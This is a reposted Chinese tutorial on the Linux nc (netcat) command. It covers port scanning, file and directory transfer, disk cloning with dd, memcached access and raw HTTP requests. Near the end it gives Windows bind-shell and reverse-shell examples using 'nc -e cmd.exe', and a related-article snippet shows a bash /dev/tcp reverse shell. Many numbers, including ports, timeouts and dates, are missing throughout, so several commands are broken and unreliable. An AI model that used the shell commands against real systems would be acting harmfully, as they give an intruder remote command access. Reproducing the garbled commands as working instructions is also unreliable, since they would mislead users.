linux nc命令使用详解(转)
linux nc命令使用详解 功能说明:功能强大的网络工具
语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参 数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 详细输出--用两个-v可得到更详细的内容
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。 nc使用示例 . 端口扫描
# nc -v -w 192.168.2.34 -z -
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused
Connection to 192.168.2.34 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port (tcp) failed: Connection refused 2. 从192.168.2.33拷贝文件到192.168.2.34
在192.168.2.34上: nc -l > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt . 简单聊天工具
在192.168.2.34上: nc -l
在192.168.2.33上: nc 192.168.2.34
这样,双方就可以相互交流了。使用ctrl+C(或D)退出。 4. 用nc命令操作memcached
)存储数据:printf “set key 6rnresultrn” |nc 192.168.2.34
)获取数据:printf “get keyrn” |nc 192.168.2.34
)删除数据:printf “delete keyrn” |nc 192.168.2.34
)查看状态:printf “statsrn” |nc 192.168.2.34
)模拟top命令查看状态:watch “echo stats” |nc 192.168.2.34
)清空缓存:printf “flush_allrn” |nc 192.168.2.34 (小心操作,清空了缓存就没了) 5. nc -p 1234 -w 5 host.example.com 80
建立从本地1234端口到host.example.com的80端口连接,5秒超时
nc -u host.example.com
u为UDP连接 6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
连接到主机并执行 7. nc -v -z host.example.com 70-80
扫描端口(70到80),可指定范围。-v输出详细信息。 . 远程拷贝文件
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听, server2上运行: root@hatest2 tmp]# nc -lp > install.log server1上运行: [root@hatest1 ~]# ll install.log
-rw-r–r– root root 12月 install.log
[root@hatest1 ~]# nc -w 192.168.228.222 < install.log . 克隆硬盘或分区
操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:
# nc -l -p | dd of=/dev/sda server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
# dd if=/dev/sda | nc 192.168.228.222 ※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。 . 保存Web页面
# while true; do nc -l -p -q < somepage.html; done . 模拟HTTP Headers,获取网页源代码和返回头部信息 [root@hatest1 ~]# nc www.linuxso.com
GET / HTTP/1.1
Host: ispconfig.org
Referrer: mypage.com
User-Agent: my-browser HTTP/1.1 OK
Date: Tue, Dec :: GMT
Server: Apache/2.2. (Unix) DAV/ mod_mono/1.2. mod_python/3.2. Python/2.4. mod_perl/2.0. Perl/v5.8.8
Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=, pre-check=
Pragma: no-cache
Cache-Control: private, post-check=, pre-check=, max-age=
Set-Cookie: oWn_sid=xRutAY; expires=Tue, -Dec- :: GMT; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。 . 传输目录
从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
引用 [root@hatest2 tmp]# nc -l |tar xzvf -
server1上运行:
引用 [root@hatest1 ~]# ll -d nginx-0.6.
drwxr-xr-x - : nginx-0.6.
[root@hatest1 ~]# tar czvf – nginx-0.6.|nc 192.168.228.222 .REMOTE主机绑定SHELL
例子: 格式:nc -l -p -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 .REMOTE主机绑定SHELL并反向连接
例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192..x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
linux nc命令使用详解(转)的更多相关文章
- (转)linux nc命令使用详解
		linux nc命令使用详解 原文:https://www.2cto.com/os/201306/220971.html 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网 ... 
- linux nc命令使用详解
		功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p ... 
- Linux Shell脚本编程--nc命令使用详解
		linux nc命令使用详解 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>] ... 
- (转)Linux curl命令参数详解
		Linux curl命令参数详解 命令:curl在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具.它支持文件的上传和下载,是综合传输工具, ... 
- (转)linux paste命令用法详解
		linux paste命令用法详解原文:http://www.xfcodes.com/linuxcmd/mulu/10211.htmlinux下paste命令,可用于合并文件的列. 功能说明:合并文件 ... 
- Linux帮助命令man详解
		命令man详解 命令man,可以获得命令(使用whatis命令可以得到一个命令的简短介绍,可以使用:命令 --help 来获得命令的选项说明)或配置文件的帮助信息(可以使用apropos命令仅查看配置 ... 
- linux dd命令实用详解
		linux dd命令刻录启动U盘详解 dd命令做usb启动盘十分方便,只须:sudo dd if=xxx.iso of=/dev/sdb bs=1M 用以上命令前必须卸载u盘,sdb是你的u盘,bs= ... 
- Linux常用命令与详解
		在Linux系统中文件删除.创建.更改等操作都是通过一个个不同的命令来完成我们想要的操作,那么什么是命令呢? 凡是在字符操作界面中输入的能够完成特定操作和任务的字符串都可以称为命令.严格来说,命令通常 ... 
- nc命令使用详解
		反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ... 
随机推荐
- fcntl文件锁操作
			文件锁经常应用于两个方面:1.一是锁定文件中的临界数据,比如并发投票时文件记录的投票数2.二是利用具有互斥性质的写锁,实现进程的并发控制. /*使用文件锁*/<F5>#include &l ... 
- HDU 6040 stl
			Hints of sd0061 Time Limit: 5000/2500 MS (Java/Others) Memory Limit: 131072/131072 K (Java/Others ... 
- lumen 单元测试的一些问题
			1.一个 test 多个请求 如 $this->post,然后又 $this->post,我们会发现第二个请求中的请求参数是和第一个请求的参数是完全一样的,然后在 Controller ... 
- 梯度提升树GBDT算法
			转自https://zhuanlan.zhihu.com/p/29802325 本文对Boosting家族中一个重要的算法梯度提升树(Gradient Boosting Decison Tree, 简 ... 
- 经典面试题目C语言
			题一,堆和栈的区别是? 题二,Volatile与Register的区别是? 题三,ARM里的大端格式和小端格式分别是什么意思? 题一答案: (1)存储内容不同 栈:在函数调用时,栈中存放的是函数中 ... 
- linux(ubuntu) 安装 node.js
			其实几个月之前我已经介绍过使用window版的nvm——wnvm了 1.先安装nvm 日常开发安装node通常会用nvm来安装,因为nvm可以帮我们管理好node的版本 我们通过git来把nvm下载到 ... 
- P1486 [NOI2004]郁闷的出纳员
			P1486 [NOI2004]郁闷的出纳员 题目描述 OIER公司是一家大型专业化软件公司,有着数以万计的员工.作为一名出纳员,我的任务之一便是统计每位员工的工资.这本来是一份不错的工作,但是令人郁闷 ... 
- Mac下配置环境变量(转)
			说明:Mac下一般使用bash作为默认shell 一.Mac系统的环境变量,加载顺序为: /etc/profile /etc/paths ~/.bash_profile ~/.bash_login ~ ... 
- Java实现链式存储的二叉查找树(递归方法)
			二叉查找树的定义: 二叉查找树或者是一颗空树,或者是一颗具有以下特性的非空二叉树: 1. 若左子树非空,则左子树上所有节点关键字值均小于根节点的关键字: 2. 若右子树非空,则右子树上所有节点关键字值 ... 
- jdk源码
			Java 8 之默认方法(Default Methods) public interface Player { String getName(); default boolean isMale() { ... 
